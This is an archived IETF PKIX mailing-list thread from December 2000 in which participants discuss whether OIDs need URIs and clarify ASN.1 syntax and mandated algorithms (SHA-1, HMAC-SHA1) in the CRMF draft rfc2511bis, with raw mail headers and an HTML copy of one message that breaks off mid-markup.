	for <pkix-archive@odin.ietf.org>; Fri, 1 Dec 2000 13:57:05 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA17634;
	Fri, 1 Dec 2000 10:54:43 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 1 Dec 2000 10:54:39 -0800
Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA17602
	for <ietf-pkix@imc.org>; Fri, 1 Dec 2000 10:54:38 -0800 (PST)
Received: from asn-1.com (user-2ivf1d0.dialup.mindspring.com [165.247.133.160])
	by granger.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id NAA19227
	for <ietf-pkix@imc.org>; Fri, 1 Dec 2000 13:56:15 -0500 (EST)
Message-ID: <3A29468D.A5B5FD4D@asn-1.com>
Date: Sat, 02 Dec 2000 13:59:25 -0500
From: "Phillip H. Griffin" <phil.griffin@asn-1.com>
Reply-To: phil.griffin@asn-1.com
Organization: Griffin Consulting 
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf-pkix@imc.org
Subject: Re: OIDs as URIs
References: <613B3C619C9AD4118C4E00B0D03E7C3E3CBA3B@exchange.valicert.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit



Frank Balluffi wrote (in part):
> 

snip
 
> I am still confused as to the purpose of a Uniform Resource Identifier (URI)
> for an object identifier. It seems to me that a URI identifies a way to use
> a resource whereas an object identifier just identifies something (e.g., an
> algorithm).
> 
> For example, suppose I have a URI for the RSA encryption algorithm, what can
> I do with it?
> 
> Frank

Frank,

I'm not sure, but I think that the U must stand for
Universal, with the idea here that everything in the
universe can be improved by making it a web resource,
either real or pretend. 

That could explain why when clicking on the link 
<DigestMethod 
  Algorithm="http://www.w3.org/2000/01/xmldsig/sha1"/> 
from draft-ietf-pkix-scvp-04.txt, all that I get for 
now is "Sorry, Not Found".

This work is just at the draft stage. But it's not so
hard to imagine that one day, when the work is complete, 
that there will actually be a helpful web page at this
address with useful sha1 information available in all
of the world's languages.

Quite a production for a simple little switch.

But it strikes me that if folks were actually required
to construct and maintain a new web page for each and
every OID they ever issued, it might help to slow down
the OID growth rate. This could be a good thing!

Phil


From owner-ietf-pkix@imc.org  Fri Dec  1 14:31:09 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA01844
	for <pkix-archive@odin.ietf.org>; Fri, 1 Dec 2000 14:31:08 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id LAA20084;
	Fri, 1 Dec 2000 11:27:02 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 1 Dec 2000 11:26:53 -0800
Received: from mail.phaos.com ([206.30.74.234])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA20021
	for <ietf-pkix@imc.org>; Fri, 1 Dec 2000 11:26:51 -0800 (PST)
Received: from phaos_arik (ruskie.spacerat.com [207.51.38.135])
	by mail.phaos.com (8.9.2/8.9.2) with ESMTP id SAA44498;
	Fri, 1 Dec 2000 18:20:07 -0500 (EST)
	(envelope-from arik@phaos.com)
Message-Id: <4.2.0.58.20001201142944.00bfbec0@mail.phaos.com>
X-Sender: arik@mail.phaos.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Fri, 01 Dec 2000 14:35:17 -0500
To: "Jacoby, Jeffrey" <jjacoby@rsasecurity.com>, ietf-pkix@imc.org
From: Ari Kermaier <arik@phaos.com>
Subject: RE: draft-ietf-pkix-rfc2511bis-00
In-Reply-To: <E7B6CB80230AD31185AD0008C7EBC4D26663D1@exrsa01.rsa.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Jeff,

I understood this to mean that the PasswordBaseMac algorithm defined here 
(and its attendant PMBParameter) can be be used in general to support any 
appropriate OWF and/or MAC algorithm, but SHA-1 and HMAC-SHA1 are mandated 
for use within CMP/CRMF.

But that's just my opinion, I could be wrong. :-)

Ari

>Hi,
>
>Another thing that would be nice to clear up in
>draft-ietf-pkix-rfc2511bis-00.txt
>is the comments on PBMParameter.  In section 4.4.1 (and also in Appendix C)
>is
>this:
>
>PBMParameter ::= SEQUENCE {
>   salt                OCTET STRING,
>   owf                 AlgorithmIdentifier,
>   -- AlgId for a One-Way Function (SHA-1 recommended)
>   iterationCount      INTEGER,
>   -- number of times the OWF is applied
>   mac                 AlgorithmIdentifier
>   -- the MAC AlgId (e.g., DES-MAC, Triple-DES-MAC [PKCS11],
>} -- or HMAC [RFC2104, RFC2202])
>
>However, at the end of that very section, is this statement:
>
>   The AlgorithmIdentifier for owf SHALL be SHA-1 {1 3 14 3 2 26} and
>   for mac SHALL be HMAC-SHA1 {1 3 6 1 5 5 8 1 2}.
>
>So why, in the comments, is SHA-1 "recommended", and numerous examples are
>given for mac?
>
>Jeff
>
>--------------------------------------------------------------------------
>
>
>Jeff Jacoby         phone: (650) 295-7569
>Sr. Developer       email: jjacoby@rsasecurity.com
><mailto:jjacoby@rsasecurity.com>
>
>RSA Security, SMDC
>2755 Campus Drive, Suite 300
>San Mateo, CA 94403
>
>
>
>
>
>
>
>-----Original Message-----
>From: Carlisle Adams [ mailto:carlisle.adams@entrust.com
><mailto:carlisle.adams@entrust.com> ]
>Sent: Thursday, November 30, 2000 12:51 PM
>To: 'Ari Kermaier'
>Cc: ietf-pkix@imc.org <mailto:ietf-pkix@imc.org>
>Subject: RE: draft-ietf-pkix-rfc2511bis-00
>
>
>
>Hi Ari,
>
>RFC 2511 (and therefore rfc2511bis-00.txt) has the definitive syntax (the
>section in 2510 discusses semantic interpretation).  Therefore, publicKeyMAC
>is untagged.  I will try to remember to remove the tag from rfc2510bis as it
>progresses.
>
>Thanks for noticing this!
>
>Carlisle.
>
>
>         ----------
>From:   Ari Kermaier[SMTP:arik@phaos.com]
>Sent:   Thursday, November 30, 2000 2:20 PM
>To:     ietf-pkix@imc.org
>Subject:        RE: draft-ietf-pkix-rfc2511bis-00
>
>         A question of ASN.1 in CRMF:
>
>         draft-ietf-pkix-rfc2511bis-00 Section 4.4 has:
>
>             POPOSigningKeyInput ::= SEQUENCE {
>         authInfo            CHOICE {
>             sender              [0] GeneralName,
>             -- used only if an authenticated identity has been
>             -- established for the sender (e.g., a DN from a
>             -- previously-issued and currently-valid certificate)
>             publicKeyMAC        PKMACValue },
>             -- used if no authenticated GeneralName currently exists for
>             -- the sender; publicKeyMAC contains a password-based MAC
>             -- on the DER-encoded value of publicKey
>         publicKey           SubjectPublicKeyInfo }  -- from CertTemplate
>
>         draft-ietf-pkix-rfc2510bis-01 Section 3.2.8 has:
>
>               POPOSigningKeyInput ::= SEQUENCE {
>           authInfo            CHOICE {
>               sender              [0] GeneralName,
>               -- from PKIHeader (used only if an authenticated identity
>               -- has been established for the sender (e.g., a DN from a
>               -- previously-issued and currently-valid certificate))
>               publicKeyMAC        [1] PKMACValue
>               -- used if no authenticated GeneralName currently exists for
>               -- the sender; publicKeyMAC contains a password-based MAC
>               -- (using the protectionAlg AlgId from PKIHeader) on the
>               -- DER-encoded value of publicKey
>           },
>           publicKey           SubjectPublicKeyInfo    -- from CertTemplate
>       }
>
>         So -- is the publicKeyMAC choice tagged or not?
>
>         Ari Kermaier



From owner-ietf-pkix@imc.org  Fri Dec  1 15:39:56 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA16841
	for <pkix-archive@odin.ietf.org>; Fri, 1 Dec 2000 15:39:56 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA25802;
	Fri, 1 Dec 2000 12:36:42 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 1 Dec 2000 12:36:28 -0800
Received: from SOTTMXS01.entrust.com (gatekeeper.entrust.com [204.101.128.170])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA25751
	for <ietf-pkix@imc.org>; Fri, 1 Dec 2000 12:36:20 -0800 (PST)
Received: by SOTTMXS01.entrust.com with Internet Mail Service (5.5.2650.21)
	id <W5KZL05K>; Fri, 1 Dec 2000 15:38:17 -0500
Message-ID: <DD62792EA182FF4E99C2FBC07E3053BD053EC4@sottmxs09.entrust.com>
From: Carlisle Adams <carlisle.adams@entrust.com>
To: "Jacoby, Jeffrey" <jjacoby@rsasecurity.com>,
        "'Ari Kermaier'"
	 <arik@phaos.com>
Cc: ietf-pkix@imc.org
Subject: RE: draft-ietf-pkix-rfc2511bis-00
Date: Fri, 1 Dec 2000 15:38:02 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C05BD6.996FBDE0"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C05BD6.996FBDE0
Content-Type: text/plain;
	charset="iso-8859-1"

Hi Ari,

> ----------
> From: 	Ari Kermaier[SMTP:arik@phaos.com]
> Sent: 	Friday, December 01, 2000 2:35 PM
> To: 	Jacoby, Jeffrey; ietf-pkix@imc.org
> Subject: 	RE: draft-ietf-pkix-rfc2511bis-00
> 
> Jeff,
> 
> I understood this to mean that the PasswordBaseMac algorithm defined here 
> (and its attendant PMBParameter) can be be used in general to support any 
> appropriate OWF and/or MAC algorithm, but SHA-1 and HMAC-SHA1 are mandated
> 
> for use within CMP/CRMF.
> 
> But that's just my opinion, I could be wrong. :-)
 
It's a great opinion, and you could be right...  :-)

Yes, this is what was intended.  Again, remember that "mandatory" in the
IETF sense simply means "must be supported for compliance and guaranteed
interoperability purposes".  You are never prohibited from supporting other
things as well and, in fact, using those other choices as your default
operational algorithms.

Carlisle.

> Ari
> 
> >Hi,
> >
> >Another thing that would be nice to clear up in
> >draft-ietf-pkix-rfc2511bis-00.txt
> >is the comments on PBMParameter.  In section 4.4.1 (and also in Appendix
> C)
> >is
> >this:
> >
> >PBMParameter ::= SEQUENCE {
> >   salt                OCTET STRING,
> >   owf                 AlgorithmIdentifier,
> >   -- AlgId for a One-Way Function (SHA-1 recommended)
> >   iterationCount      INTEGER,
> >   -- number of times the OWF is applied
> >   mac                 AlgorithmIdentifier
> >   -- the MAC AlgId (e.g., DES-MAC, Triple-DES-MAC [PKCS11],
> >} -- or HMAC [RFC2104, RFC2202])
> >
> >However, at the end of that very section, is this statement:
> >
> >   The AlgorithmIdentifier for owf SHALL be SHA-1 {1 3 14 3 2 26} and
> >   for mac SHALL be HMAC-SHA1 {1 3 6 1 5 5 8 1 2}.
> >
> >So why, in the comments, is SHA-1 "recommended", and numerous examples
> are
> >given for mac?
> >
> >Jeff
> >
> >-------------------------------------------------------------------------
> -
> >
> >
> >Jeff Jacoby         phone: (650) 295-7569
> >Sr. Developer       email: jjacoby@rsasecurity.com
> ><mailto:jjacoby@rsasecurity.com>
> >
> >RSA Security, SMDC
> >2755 Campus Drive, Suite 300
> >San Mateo, CA 94403
> >
> >
> >
> >
> >
> >
> >
> >-----Original Message-----
> >From: Carlisle Adams [ mailto:carlisle.adams@entrust.com
> ><mailto:carlisle.adams@entrust.com> ]
> >Sent: Thursday, November 30, 2000 12:51 PM
> >To: 'Ari Kermaier'
> >Cc: ietf-pkix@imc.org <mailto:ietf-pkix@imc.org>
> >Subject: RE: draft-ietf-pkix-rfc2511bis-00
> >
> >
> >
> >Hi Ari,
> >
> >RFC 2511 (and therefore rfc2511bis-00.txt) has the definitive syntax (the
> >section in 2510 discusses semantic interpretation).  Therefore,
> publicKeyMAC
> >is untagged.  I will try to remember to remove the tag from rfc2510bis as
> it
> >progresses.
> >
> >Thanks for noticing this!
> >
> >Carlisle.
> >
> >
> >         ----------
> >From:   Ari Kermaier[SMTP:arik@phaos.com]
> >Sent:   Thursday, November 30, 2000 2:20 PM
> >To:     ietf-pkix@imc.org
> >Subject:        RE: draft-ietf-pkix-rfc2511bis-00
> >
> >         A question of ASN.1 in CRMF:
> >
> >         draft-ietf-pkix-rfc2511bis-00 Section 4.4 has:
> >
> >             POPOSigningKeyInput ::= SEQUENCE {
> >         authInfo            CHOICE {
> >             sender              [0] GeneralName,
> >             -- used only if an authenticated identity has been
> >             -- established for the sender (e.g., a DN from a
> >             -- previously-issued and currently-valid certificate)
> >             publicKeyMAC        PKMACValue },
> >             -- used if no authenticated GeneralName currently exists for
> >             -- the sender; publicKeyMAC contains a password-based MAC
> >             -- on the DER-encoded value of publicKey
> >         publicKey           SubjectPublicKeyInfo }  -- from CertTemplate
> >
> >         draft-ietf-pkix-rfc2510bis-01 Section 3.2.8 has:
> >
> >               POPOSigningKeyInput ::= SEQUENCE {
> >           authInfo            CHOICE {
> >               sender              [0] GeneralName,
> >               -- from PKIHeader (used only if an authenticated identity
> >               -- has been established for the sender (e.g., a DN from a
> >               -- previously-issued and currently-valid certificate))
> >               publicKeyMAC        [1] PKMACValue
> >               -- used if no authenticated GeneralName currently exists
> for
> >               -- the sender; publicKeyMAC contains a password-based MAC
> >               -- (using the protectionAlg AlgId from PKIHeader) on the
> >               -- DER-encoded value of publicKey
> >           },
> >           publicKey           SubjectPublicKeyInfo    -- from
> CertTemplate
> >       }
> >
> >         So -- is the publicKeyMAC choice tagged or not?
> >
> >         Ari Kermaier
> 

------_=_NextPart_001_01C05BD6.996FBDE0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: draft-ietf-pkix-rfc2511bis-00</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Hi =
Ari,</FONT>
</P>
<UL>
<P><FONT SIZE=3D2 FACE=3D"MS Sans Serif">----------</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">From:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans Serif">Ari =
Kermaier[SMTP:arik@phaos.com]</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Sent:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans Serif">Friday, December 01, 2000 2:35 =
PM</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">To:</FONT></B> =
&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans Serif">Jacoby, =
Jeffrey; ietf-pkix@imc.org</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Subject:</FONT></B> =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">RE: draft-ietf-pkix-rfc2511bis-00</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Jeff,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I understood this to mean that the =
PasswordBaseMac algorithm defined here </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">(and its attendant PMBParameter) can =
be be used in general to support any </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">appropriate OWF and/or MAC algorithm, =
but SHA-1 and HMAC-SHA1 are mandated </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">for use within CMP/CRMF.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">But that's just my opinion, I could be =
wrong. :-)</FONT>
</UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">&nbsp;</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">It's a =
great opinion, and you could be right...&nbsp; :-)</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Yes, this =
is what was intended.&nbsp; Again, remember that &quot;mandatory&quot; =
in the IETF sense simply means &quot;must be supported for compliance =
and guaranteed interoperability purposes&quot;.&nbsp; You are never =
prohibited from supporting other things as well and, in fact, using =
those other choices as your default operational algorithms.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">Carlisle.</FONT>
</P>
<UL>
<P><FONT SIZE=3D2 FACE=3D"Arial">Ari</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&gt;Hi,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Another thing that would be nice =
to clear up in</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;draft-ietf-pkix-rfc2511bis-00.txt</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;is the comments on =
PBMParameter.&nbsp; In section 4.4.1 (and also in Appendix C)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;is</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;this:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;PBMParameter ::=3D SEQUENCE =
{</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp; =
salt&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp; OCTET STRING,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp; =
owf&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; AlgorithmIdentifier,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp; -- AlgId for a =
One-Way Function (SHA-1 recommended)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp; =
iterationCount&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; INTEGER,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp; -- number of times =
the OWF is applied</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp; =
mac&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; AlgorithmIdentifier</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp; -- the MAC AlgId =
(e.g., DES-MAC, Triple-DES-MAC [PKCS11],</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;} -- or HMAC [RFC2104, =
RFC2202])</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;However, at the end of that very =
section, is this statement:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp; The =
AlgorithmIdentifier for owf SHALL be SHA-1 {1 3 14 3 2 26} and</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp; for mac SHALL be =
HMAC-SHA1 {1 3 6 1 5 5 8 1 2}.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;So why, in the comments, is SHA-1 =
&quot;recommended&quot;, and numerous examples are</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;given for mac?</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Jeff</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;-----------------------------------------------------=
---------------------</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Jeff =
Jacoby&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; phone: (650) =
295-7569</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Sr. =
Developer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; email: =
jjacoby@rsasecurity.com</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&lt;</FONT><U><FONT =
COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial"><A =
HREF=3D"mailto:jjacoby@rsasecurity.com">mailto:jjacoby@rsasecurity.com</=
A></FONT></U><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;RSA Security, SMDC</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;2755 Campus Drive, Suite =
300</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;San Mateo, CA 94403</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;-----Original Message-----</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;From: Carlisle Adams [</FONT><U> =
<FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial"><A =
HREF=3D"mailto:carlisle.adams@entrust.com">mailto:carlisle.adams@entrust=
.com</A></FONT></U>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&lt;</FONT><U><FONT =
COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial"><A =
HREF=3D"mailto:carlisle.adams@entrust.com">mailto:carlisle.adams@entrust=
.com</A></FONT></U><FONT SIZE=3D2 FACE=3D"Arial">&gt; ]</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Sent: Thursday, November 30, 2000 =
12:51 PM</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;To: 'Ari Kermaier'</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Cc: ietf-pkix@imc.org =
&lt;</FONT><U><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial"><A =
HREF=3D"mailto:ietf-pkix@imc.org">mailto:ietf-pkix@imc.org</A></FONT></U=
><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Subject: RE: =
draft-ietf-pkix-rfc2511bis-00</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Hi Ari,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;RFC 2511 (and therefore =
rfc2511bis-00.txt) has the definitive syntax (the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;section in 2510 discusses =
semantic interpretation).&nbsp; Therefore, publicKeyMAC</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;is untagged.&nbsp; I will try to =
remember to remove the tag from rfc2510bis as it</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;progresses.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Thanks for noticing this!</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Carlisle.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
----------</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;From:&nbsp;&nbsp; Ari =
Kermaier[SMTP:arik@phaos.com]</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Sent:&nbsp;&nbsp; Thursday, =
November 30, 2000 2:20 PM</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;To:&nbsp;&nbsp;&nbsp;&nbsp; =
ietf-pkix@imc.org</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
RE: draft-ietf-pkix-rfc2511bis-00</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A =
question of ASN.1 in CRMF:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
draft-ietf-pkix-rfc2511bis-00 Section 4.4 has:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; POPOSigningKeyInput ::=3D SEQUENCE {</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
authInfo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p; CHOICE {</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; =
sender&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp; [0] GeneralName,</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; -- used only if an authenticated identity has =
been</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; -- established for the sender (e.g., a DN from =
a</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; -- previously-issued and currently-valid =
certificate)</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; =
publicKeyMAC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PKMACValue =
},</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; -- used if no authenticated GeneralName currently =
exists for</FONT>
<BR><FONT SIZE=3D2 =
